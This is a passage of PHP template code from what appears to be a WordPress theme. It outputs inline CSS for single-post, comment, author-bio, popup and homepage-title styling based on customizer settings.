			.penci-body-single-style-11 .container.penci-breadcrumb,
            .penci-single-style-21 .single-breadcrumb,.penci-single-style-6 .single-breadcrumb, .penci-single-style-5 .single-breadcrumb, .penci-single-style-4 .single-breadcrumb, .penci-single-style-3 .single-breadcrumb, .penci-single-style-9 .single-breadcrumb, .penci-single-style-7 .single-breadcrumb{ text-align: left; }
            .penci-single-style-12 .container.penci-breadcrumb, .penci-body-single-style-11 .container.penci-breadcrumb, .container-single .header-standard, .container-single .post-box-meta-single { text-align: left; }
            .rtl .container-single .header-standard,.rtl .container-single .post-box-meta-single { text-align: right; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_13_bgcolor' ) ): ?>
            .penci-single-style-13 .penci-post-image-wrapper { --pcaccent-cl: <?php echo get_theme_mod( 'penci_single_13_bgcolor' );?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_15_bgcolor' ) ): ?>
            .penci-single-style-15 .penci-post-image-wrapper { background: <?php echo get_theme_mod( 'penci_single_15_bgcolor' );?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_18_bgcolor' ) ): ?>
            .penci-body-single-style-18 .penci-post-content-wrapper { background: <?php echo get_theme_mod( 'penci_single_18_bgcolor' );?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_21_obgcolor' ) ): ?>
            .penci-single-style-21 .post-image::after { background-color: <?php echo get_theme_mod( 'penci_single_21_obgcolor' );?>; opacity: 0.5; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_off_uppercase_post_title_nav' ) ): ?>
            .container-single .post-pagination h5 { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_post_remove_lines_related' ) ): ?>
            #respond h3.comment-reply-title span:before, #respond h3.comment-reply-title span:after, .post-box-title:before, .post-box-title:after { content: none; display: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_off_uppercase_post_title_related' ) ): ?>
            .container-single .item-related h3 a { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_title_color' ) ): ?>
            .container-single .header-standard .post-title { color: <?php echo get_theme_mod( 'penci_single_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_subtitle_color' ) ): ?>
            .container-single .header-standard h2.penci-psub-title, .container-single h2.penci-psub-title { color: <?php echo get_theme_mod( 'penci_single_subtitle_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_tag_color' ) ): ?>
            .container-single .post-entry .post-tags a{ color: <?php echo get_theme_mod( 'penci_single_tag_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_tag_border' ) ): ?>
            .container-single .post-entry .post-tags a{ border-color: <?php echo get_theme_mod( 'penci_single_tag_border' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_tag_bg' ) ): ?>
            .container-single .post-entry .post-tags a{ background-color: <?php echo get_theme_mod( 'penci_single_tag_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_tag_hcolor' ) ): ?>
            .container-single .post-entry .post-tags a:hover{ color: <?php echo get_theme_mod( 'penci_single_tag_hcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_tag_hborder' ) ): ?>
            .container-single .post-entry .post-tags a:hover{ border-color: <?php echo get_theme_mod( 'penci_single_tag_hborder' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_tag_hbg' ) ): ?>
            .container-single .post-entry .post-tags a:hover{ background-color: <?php echo get_theme_mod( 'penci_single_tag_hbg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_share_tcolor' ) ): ?>
            .pcnew-share .penci-social-share-text,.tags-share-box.tags-share-box-2_3 .penci-social-share-text{ color: <?php echo get_theme_mod( 'penci_single_share_tcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_share_bgcolor' ) ): ?>
            .pcnew-share .penci-social-share-text{ background-color: <?php echo get_theme_mod( 'penci_single_share_bgcolor' ); ?>; }
            .pcnew-share .penci-social-share-text:after{border-left-color: <?php echo get_theme_mod( 'penci_single_share_bgcolor' ); ?>;}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_share_bdcolor' ) ): ?>
            .pcnew-share .penci-social-share-text{ border-color: <?php echo get_theme_mod( 'penci_single_share_bdcolor' ); ?>; }
            .pcnew-share .penci-social-share-text:before{border-left-color: <?php echo get_theme_mod( 'penci_single_share_bdcolor' ); ?>;}
		<?php endif; ?>
		<?php
		if ( get_theme_mod( 'penci_single_share_icon_color' ) ): ?>
            .tags-share-box.tags-share-box-2_3 .post-share .count-number-like, .tags-share-box.tags-share-box-2_3 .post-share a,
            .container-single .post-share a, .page-share .post-share a { color: <?php echo get_theme_mod( 'penci_single_share_icon_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_share_icon_hover_color' ) ): ?>
            .container-single .post-share a:hover, .container-single .post-share a.liked, .page-share .post-share a:hover { color: <?php echo get_theme_mod( 'penci_single_share_icon_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_number_like_color' ) ): ?>
            .tags-share-box.tags-share-box-2_3 .post-share .count-number-like,
            .post-share .count-number-like { color: <?php echo get_theme_mod( 'penci_single_number_like_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_share_icon_style3_bgcolor' ) ): ?>
            .tags-share-box.tags-share-box-s3 .post-share .post-share-item{ background-color: <?php echo get_theme_mod( 'penci_single_share_icon_style3_bgcolor' ); ?>; }
		<?php endif; ?>

		<?php if ( get_theme_mod( 'penci_single_share_icon_style3_hbgcolor' ) ): ?>
            .tags-share-box.tags-share-box-s3 .post-share .post-share-item:hover{ background-color: <?php echo get_theme_mod( 'penci_single_share_icon_style3_hbgcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_meta_color' ) ): ?>
            .tags-share-box .single-comment-o, .post-box-meta-single span, .header-standard .post-box-meta-single .author-post span, .header-standard .post-box-meta-single .author-post span a{ color: <?php echo get_theme_mod( 'penci_single_meta_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_breadcrumbs_hcolor' ) ): ?>
            .container.penci-breadcrumb.single-breadcrumb span a:hover,.container.penci-breadcrumb.single-breadcrumb a:hover, .penci-container-inside.penci-breadcrumb span a:hover,.penci-container-inside.penci-breadcrumb a:hover, .container.penci-breadcrumb span a:hover,.container.penci-breadcrumb a:hover{ color: <?php echo get_theme_mod( 'penci_breadcrumbs_hcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_smaller_width' ) ): ?>
            .penci-single-smaller-width { max-width: <?php echo get_theme_mod( 'penci_single_smaller_width' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_color_text' ) ): ?>
            .post-entry, .post-entry p{ color: <?php echo get_theme_mod( 'penci_single_color_text' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_color_links' ) ): ?>
            .post-entry a, .container-single .post-entry a{ color: <?php echo get_theme_mod( 'penci_single_color_links' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_inlinerp_titleline' ) ): ?>
            .pcilrp-heading{margin-bottom: 15px;}.pcilrp-heading span{padding-bottom: 0;}.pcilrp-heading span:after{content: none;display: none;}
		<?php endif; ?>

		<?php echo penci_renders_css( '.pcilrp-heading span', 'penci_inlinerp_fsheading' ); ?>
		<?php if ( get_theme_mod( 'penci_inlinerp_fstitle' ) ): ?>
            .penci-ilrelated-posts .pcilrp-item-grid .pcilrp-title a, .penci-ilrelated-posts .pcilrp-item-list a{ font-size: <?php echo get_theme_mod( 'penci_inlinerp_fstitle' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_inlinerp_fsmeta' ) ): ?>
            .pcilrp-meta{ font-size: <?php echo get_theme_mod( 'penci_inlinerp_fsmeta' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_inlinerp_bg' ) ): ?>
            .penci-ilrelated-posts{ background-color: <?php echo get_theme_mod( 'penci_inlinerp_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_inlinerp_border' ) ): ?>
            .penci-ilrelated-posts{ border-color: <?php echo get_theme_mod( 'penci_inlinerp_border' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_inlinerp_cheading' ) ): ?>
            .pcilrp-heading span{ color: <?php echo get_theme_mod( 'penci_inlinerp_cheading' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_inlinerp_cline' ) ): ?>
            .pcilrp-heading span:after{ border-color: <?php echo get_theme_mod( 'penci_inlinerp_cline' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_inlinerp_ctitle' ) ): ?>
            .penci-ilrelated-posts .pcilrp-item-grid .pcilrp-title a, .penci-ilrelated-posts .pcilrp-item-list a{ color: <?php echo get_theme_mod( 'penci_inlinerp_ctitle' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_inlinerp_hctitle' ) ): ?>
            .penci-ilrelated-posts .pcilrp-item-grid .pcilrp-title a:hover, .penci-ilrelated-posts .pcilrp-item-list a:hover{ color: <?php echo get_theme_mod( 'penci_inlinerp_hctitle' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_inlinerp_hcmeta' ) ): ?>
            .pcilrp-meta{ color: <?php echo get_theme_mod( 'penci_inlinerp_hcmeta' ); ?>; }
		<?php endif; ?>

		<?php for ( $pheading = 1; $pheading < 7; $pheading ++ ) { ?>
			<?php if ( get_theme_mod( 'penci_single_color_h' . $pheading ) ): ?>
                .post-entry h<?php echo $pheading; ?>{ color: <?php echo get_theme_mod( 'penci_single_color_h' . $pheading ); ?>; }
			<?php endif; ?>
		<?php } ?>
		<?php if ( get_theme_mod( 'penci_single_bgcolor_header' ) ): ?>
            .penci-single-style-9 .penci-post-image-wrapper,.penci-single-style-10 .penci-post-image-wrapper { background-color: <?php echo get_theme_mod( 'penci_single_bgcolor_header' ); ?>; }
		<?php endif; ?>
		<?php
		// Color single
		if ( ! get_theme_mod( 'penci_move_title_bellow' ) ) {
			$single_color_title    = get_theme_mod( 'penci_single_color_title_s568' );
			$single_color_subtitle = get_theme_mod( 'penci_single_color_subtitle_s568' );
			$single_color_cat      = get_theme_mod( 'penci_single_color_cat_s568' );
			$single_color_meta     = get_theme_mod( 'penci_single_color_meta_s568' );

			if ( $single_color_title && in_array( $single_style, array( 'style-5', 'style-6', 'style-8', 'style-13', 'style-21' ) ) ) {
				echo '@media only screen and (min-width: 768px){ .container-single.penci-single-' . $single_style . ' .single-header .post-title { color: ' . esc_attr( $single_color_title ) . '; } }';
			}
			if ( $single_color_subtitle && in_array( $single_style, array( 'style-5', 'style-6', 'style-8', 'style-13', 'style-21' ) ) ) {
				echo '@media only screen and (min-width: 768px){ .container-single.penci-single-' . $single_style . ' .single-header .penci-psub-title{ color: ' . esc_attr( $single_color_subtitle ) . '; } }';
			}
			if ( $single_color_cat && in_array( $single_style, array( 'style-5', 'style-6', 'style-8', 'style-13', 'style-21' ) ) ) {
				echo '@media only screen and (min-width: 768px){ .container-single.penci-single-' . $single_style . ' .penci-single-cat .cat > a.penci-cat-name { color: ' . esc_attr( $single_color_cat ) . '; } }';
			}
			if ( $single_color_meta && in_array( $single_style, array( 'style-5', 'style-6', 'style-8', 'style-13', 'style-21' ) ) ) {

				echo '@media only screen and (min-width: 768px){';
				echo '.penci-single-' . $single_style . '.penci-header-text-white .post-box-meta-single span,';
				echo '.penci-single-' . $single_style . '.penci-header-text-white .header-standard .author-post span a{ color: ' . esc_attr( $single_color_meta ) . '; }';
				echo '}';

				if ( get_theme_mod( 'penci_single_accent_color' ) ) {
					echo '.penci-single-' . $single_style . '.penci-header-text-white .header-standard .author-post span a:hover{ color: ' . get_theme_mod( 'penci_single_accent_color' ) . '; }';
				}
			}
		}

		if ( 'style-10' == $single_style ) {
			if ( get_theme_mod( 'penci_single_color_bread_s10' ) ) {
				echo '.penci-single-style-10 .penci-container-inside.penci-breadcrumb i,.penci-single-style-10  .container.penci-breadcrumb i,
				.penci-single-style-10 .penci-container-inside.penci-breadcrumb a,';
				echo '.penci-single-style-10 .penci-container-inside.penci-breadcrumb span{ color: ' . get_theme_mod( 'penci_single_color_bread_s10' ) . ' }';
			}

			if ( get_theme_mod( 'penci_single_color_title_s10' ) ) {
				echo '.penci-single-style-10.penci-header-text-white .header-standard .post-title,';
				echo '.penci-single-style-10.penci-header-text-white .header-standard h2 a';
				echo '{ color: ' . get_theme_mod( 'penci_single_color_title_s10' ) . ' }';
			}

			if ( get_theme_mod( 'penci_single_color_subtitle_s10' ) ) {
				echo '.penci-single-style-10.penci-header-text-white .header-standard h2.penci-psub-title{ color: ' . get_theme_mod( 'penci_single_color_subtitle_s10' ) . ' }';
			}

			if ( get_theme_mod( 'penci_single_color_cat_s10' ) ) {
				echo '.penci-single-style-10.penci-header-text-white .penci-standard-cat  .cat > a.penci-cat-name { color: ' . get_theme_mod( 'penci_single_color_cat_s10' ) . '; }';
			}

			if ( get_theme_mod( 'penci_single_color_meta_s10' ) ) {
				echo '.penci-single-style-10.penci-header-text-white .post-box-meta-single span,';
				echo '.penci-single-style-10.penci-header-text-white .header-standard .author-post span a';
				echo '{ color: ' . get_theme_mod( 'penci_single_color_meta_s10' ) . ' }';

				if ( get_theme_mod( 'penci_single_accent_color' ) ) {
					echo '.penci-single-style-10.penci-header-text-white .header-standard .author-post span a:hover{ color: ' . get_theme_mod( 'penci_single_accent_color' ) . '; }';
				}
			}
		}

		$bquote_text_color   = get_theme_mod( 'penci_bquote_text_color' );
		$bquote_author_color = get_theme_mod( 'penci_bquote_author_color' );
		$bquote_bgcolor      = get_theme_mod( 'penci_bquote_bgcolor' );
		$bquote_border_color = get_theme_mod( 'penci_bquote_border_color' );

		if ( $bquote_text_color ) {
			echo '.post-entry.blockquote-style-3 blockquote:not(.wp-block-quote) p ,.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote) p,.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote) p,.post-entry blockquote, .post-entry blockquote p, .wpb_text_column blockquote, .wpb_text_column blockquote p{ color: ' . $bquote_text_color . ' }';
		}
		if ( $bquote_author_color ) {
			echo '.post-entry blockquote cite, .post-entry blockquote .author, .wpb_text_column blockquote cite, .wpb_text_column blockquote .author, .woocommerce .page-description blockquote cite, .woocommerce .page-description blockquote .author{ color: ' . esc_attr( $bquote_author_color ) . ' }';
			echo '.post-entry blockquote .author span:after, .wpb_text_column blockquote .author span:after, .woocommerce .page-description blockquote .author span:after{ background-color: ' . esc_attr( $bquote_author_color ) . ' }';
		}
		if ( $bquote_bgcolor ) {
			echo '.post-entry.blockquote-style-2 blockquote{ background-color: ' . esc_attr( $bquote_bgcolor ) . ' }';
		}
		if ( $bquote_border_color ) {
			echo '.post-entry.blockquote-style-3 blockquote:not(.wp-block-quote):before,.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote):before {color:'. esc_attr( $bquote_border_color ) . '}';
			echo '.post-entry.blockquote-style-3 blockquote:not(.wp-block-quote){border-top-color:'. esc_attr( $bquote_border_color ) . ';border-bottom-color:'. esc_attr( $bquote_border_color ) . '}';
			echo '.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote):before,.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote):after,.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote):after,.post-entry.blockquote-style-2 blockquote:before{ background-color: ' . esc_attr( $bquote_border_color ) . '  }';
			echo '.post-entry blockquote::before, .wpb_text_column blockquote::before, .woocommerce .page-description blockquote:before{ color: ' . esc_attr( $bquote_border_color ) . '  }';
		}
		?>
		<?php if ( get_theme_mod( 'penci_rltpopup_hide_mobile' ) ): ?>
            @media only screen and (max-width: 479px) { .penci-rlt-popup{ display: none !important; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpopup_padding_bottom' ) ): ?>
            .penci-rlt-popup .penci-rtlpopup-content{ padding-bottom: <?php echo get_theme_mod( 'penci_rltpopup_padding_bottom' ); ?>px; }
            @media only screen and (max-width: 479px){ .penci-rlt-popup .penci-rtlpopup-content{ padding-bottom: <?php echo get_theme_mod( 'penci_rltpopup_padding_bottom' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpop_heading_bg' ) ): ?>
            .penci-rlt-popup .rtlpopup-heading{ background-color: <?php echo get_theme_mod( 'penci_rltpop_heading_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpop_heading_color' ) ): ?>
            .penci-rlt-popup .rtlpopup-heading{ color: <?php echo get_theme_mod( 'penci_rltpop_heading_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpop_close_color' ) ): ?>
            .penci-rlt-popup .penci-close-rltpopup{ color: <?php echo get_theme_mod( 'penci_rltpop_close_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpop_bg_color' ) ): ?>
            .penci-rlt-popup{ background-color: <?php echo get_theme_mod( 'penci_rltpop_bg_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpop_title_color' ) ): ?>
            .penci-rlt-popup .rltpopup-meta .rltpopup-title{ color: <?php echo get_theme_mod( 'penci_rltpop_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpop_title_hover' ) ): ?>
            .penci-rlt-popup .rltpopup-meta .rltpopup-title:hover{ color: <?php echo get_theme_mod( 'penci_rltpop_title_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpop_date_color' ) ): ?>
            .penci-rlt-popup .rltpopup-meta .date{ color: <?php echo get_theme_mod( 'penci_rltpop_date_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpop_border_color' ) ): ?>
            .penci-rlt-popup .rltpopup-item{ border-color: <?php echo get_theme_mod( 'penci_rltpop_border_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_authorbio_bg' ) ): ?>
            .post-author{ background-color: <?php echo get_theme_mod( 'penci_authorbio_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_authorbio_bordercl' ) ): ?>
            .post-author, .abio-style-3 .author-img img, .abio-style-4 .author-img img{ border-color: <?php echo get_theme_mod( 'penci_authorbio_bordercl' ); ?>; }
            .post-author.abio-style-5 { --pcborder-cl: <?php echo get_theme_mod( 'penci_authorbio_bordercl' ); ?> }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_authorbio_name_color' ) ): ?>
            .author-content h5 a{ color: <?php echo get_theme_mod( 'penci_authorbio_name_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_authorbio_name_hcolor' ) ): ?>
            .author-content h5 a:hover{ color: <?php echo get_theme_mod( 'penci_authorbio_name_hcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_authorbio_desc_color' ) ): ?>
            .author-content p{ color: <?php echo get_theme_mod( 'penci_authorbio_desc_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_authorbio_social_color' ) ): ?>
            .author-content .author-social, .post-author.abio-style-5 .bio-social > a{ color: <?php echo get_theme_mod( 'penci_authorbio_social_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_authorbio_social_hcolor' ) ): ?>
            .author-content .author-social:hover, .post-author.abio-style-5 .bio-social > a:hover{ color: <?php echo get_theme_mod( 'penci_authorbio_social_hcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_prevnext_colors' ) ): ?>
            .post-pagination span{ color: <?php echo get_theme_mod( 'penci_prevnext_colors' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_prevnext_ctitle' ) ): ?>
            .post-pagination a,.post-pagination.pcpagp-style-3 h5,.post-pagination.pcpagp-style-3 span{ color: <?php echo get_theme_mod( 'penci_prevnext_ctitle' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_prevnext_hctitle' ) ): ?>
            .post-pagination a:hover,.post-pagination.pcpagp-style-3:hover h5,.post-pagination.pcpagp-style-3:hover span{ color: <?php echo get_theme_mod( 'penci_prevnext_hctitle' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_heading' ) ): ?>
            #respond h3.comment-reply-title span, .post-box-title{ color: <?php echo get_theme_mod( 'penci_relatedcm_heading' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_lineheading' ) ): ?>
            #respond h3.comment-reply-title span:before, #respond h3.comment-reply-title span:after, .post-box-title:before, .post-box-title:after{ background-color: <?php echo get_theme_mod( 'penci_relatedcm_lineheading' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_ctitle' ) ): ?>
            .item-related h3 a{ color: <?php echo get_theme_mod( 'penci_relatedcm_ctitle' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_hctitle' ) ): ?>
            .item-related h3 a:hover{ color: <?php echo get_theme_mod( 'penci_relatedcm_hctitle' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_cdate' ) ): ?>
            .item-related span.date{ color: <?php echo get_theme_mod( 'penci_relatedcm_cdate' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_author' ) ): ?>
            .thecomment .comment-text span.author, .thecomment .comment-text span.author a{ color: <?php echo get_theme_mod( 'penci_relatedcm_author' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_hauthor' ) ): ?>
            .thecomment .comment-text span.author a:hover{ color: <?php echo get_theme_mod( 'penci_relatedcm_hauthor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_cmdate' ) ): ?>
            .thecomment .comment-text span.date{ color: <?php echo get_theme_mod( 'penci_relatedcm_cmdate' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_replyedit' ) ): ?>
            .post-comments span.reply a, .post-comments span.reply a:hover{ color: <?php echo get_theme_mod( 'penci_relatedcm_replyedit' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_cmcontent' ) ): ?>
            .thecomment .comment-content, .thecomment .comment-content p{ color: <?php echo get_theme_mod( 'penci_relatedcm_cmcontent' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_cminput' ) ): ?>
            #respond input[type="text"], #respond input[type="email"], #respond textarea{ color: <?php echo get_theme_mod( 'penci_relatedcm_cminput' ); ?>; } #respond input[type="text"]::placeholder{ color: <?php echo get_theme_mod( 'penci_relatedcm_cminput' ); ?>; opacity: 1; } #respond input[type="text"]:-ms-input-placeholder{ color: <?php echo get_theme_mod( 'penci_relatedcm_cminput' ); ?>; } #respond input[type="text"]::-ms-input-placeholder{ color: <?php echo get_theme_mod( 'penci_relatedcm_cminput' ); ?>; } #respond input[type="email"]::placeholder{ color: <?php echo get_theme_mod( 'penci_relatedcm_cminput' ); ?>; opacity: 1; } #respond input[type="email"]:-ms-input-placeholder{ color: <?php echo get_theme_mod( 'penci_relatedcm_cminput' ); ?>; } #respond input[type="email"]::-ms-input-placeholder{ color: <?php echo get_theme_mod( 'penci_relatedcm_cminput' ); ?>; } #respond textarea::placeholder{ color: <?php echo get_theme_mod( 'penci_relatedcm_cminput' ); ?>; opacity: 1; } #respond textarea:-ms-input-placeholder{ color: <?php echo get_theme_mod( 'penci_relatedcm_cminput' ); ?>; } #respond textarea::-ms-input-placeholder{ color: <?php echo get_theme_mod( 'penci_relatedcm_cminput' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_relatedcm_gdpr' ) ): ?>
            form#commentform > .comment-form-cookies-consent, form#commentform > div.penci-gdpr-message{ color: <?php echo get_theme_mod( 'penci_relatedcm_gdpr' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_post_related_rm_border' ) ): ?>
			.post-related {border-top: 0;}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_post_nav_rm_bt' ) ): ?>
			.post-pagination {border-top: 0;}
			.post-author.abio-style-5{border-bottom:1px solid var(--pcborder-cl) !important}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_post_comments_rm_bt' ) ): ?>
			h3.comment-reply-title,.post-comments .post-title-box {border-top: 0; padding-top: 0;}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_post_author_rm_bt' ) ): ?>
			.post-author:not(.abio-style-4):not(.abio-style-5) {border-top: 0;}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_insta_hide_icon' ) ): ?>
            .footer-instagram-html h4.footer-instagram-title>span:before{ content: none; display: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_insta_hide_icon' ) ): ?>
            .penci-top-instagram h4.footer-instagram-title>span:before{ content: none; display: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_boxes_overlay' ) ): ?>
            ul.homepage-featured-boxes .penci-fea-in h4 span span, ul.homepage-featured-boxes .penci-fea-in h4 span, ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4 { background-color: <?php echo get_theme_mod( 'penci_home_boxes_overlay' ); ?>; }
            ul.homepage-featured-boxes li .penci-fea-in:before, ul.homepage-featured-boxes li .penci-fea-in:after, ul.homepage-featured-boxes .penci-fea-in h4 span span:before, ul.homepage-featured-boxes .penci-fea-in h4 > span:before, ul.homepage-featured-boxes .penci-fea-in h4 > span:after, ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4:before { border-color: <?php echo get_theme_mod( 'penci_home_boxes_overlay' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_boxes_title_color' ) ): ?>
            ul.homepage-featured-boxes .penci-fea-in h4 span span { color: <?php echo get_theme_mod( 'penci_home_boxes_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_boxes_accent_hover_color' ) ): ?>
            ul.homepage-featured-boxes .penci-fea-in:hover h4 span { color: <?php echo get_theme_mod( 'penci_home_boxes_accent_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_popular_label_color' ) ): ?>
            .home-pupular-posts-title { color: <?php echo get_theme_mod( 'penci_home_popular_label_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_popular_border_color' ) ): ?>
            .penci-home-popular-posts { border-color: <?php echo get_theme_mod( 'penci_home_popular_border_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_popular_post_title_color' ) ): ?>
            .penci-home-popular-post .item-related h3 a { color: <?php echo get_theme_mod( 'penci_home_popular_post_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_popular_post_title_hover_color' ) ): ?>
            .penci-home-popular-post .item-related h3 a:hover { color: <?php echo get_theme_mod( 'penci_home_popular_post_title_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_popular_post_date_color' ) ): ?>
            .penci-home-popular-post .item-related span.date { color: <?php echo get_theme_mod( 'penci_home_popular_post_date_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_title_box_bg' ) ): ?>
			.penci-homepage-title.style-30 .inner-arrow > span,
			.penci-homepage-title.style-21,.penci-homepage-title.style-28{ --pcaccent-cl: <?php echo get_theme_mod( 'penci_home_title_box_bg' ); ?> }
			.penci-homepage-title.style-25 .inner-arrow,
			.penci-homepage-title.style-25 .widget-title,
			.penci-homepage-title.style-23 .inner-arrow > span:before,
			.penci-homepage-title.style-24 .inner-arrow > span:before,
			.penci-homepage-title.style-23 .inner-arrow > a:before,
			.penci-homepage-title.style-24 .inner-arrow > a:before,
            .penci-homepage-title.style-14 .inner-arrow:before,
            .penci-homepage-title.style-11 .inner-arrow,
            .penci-homepage-title.style-12 .inner-arrow,
            .penci-homepage-title.style-13 .inner-arrow,
            .penci-homepage-title .inner-arrow, .penci-homepage-title.style-15 .inner-arrow{ background-color: <?php echo get_theme_mod( 'penci_home_title_box_bg' ); ?>; }
            .penci-border-arrow.penci-homepage-title.style-2:after{ border-top-color: <?php echo get_theme_mod( 'penci_home_title_box_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_title_box_outer_bg' ) ): ?>
			.penci-homepage-title.style-25 .inner-arrow { --pcheading-cl: <?php echo get_theme_mod( 'penci_home_title_box_outer_bg' ); ?>; }
			.penci-homepage-title.style-22 .inner-arrow:after,
			.penci-homepage-title.style-23 .inner-arrow > span:after,
			.penci-homepage-title.style-24 .inner-arrow > span:after,
			.penci-homepage-title.style-23 .inner-arrow > a:after,
			.penci-homepage-title.style-24 .inner-arrow > a:after,
            .penci-border-arrow.penci-homepage-title:after { background-color: <?php echo get_theme_mod( 'penci_home_title_box_outer_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_title_box_border_color' ) ): ?>
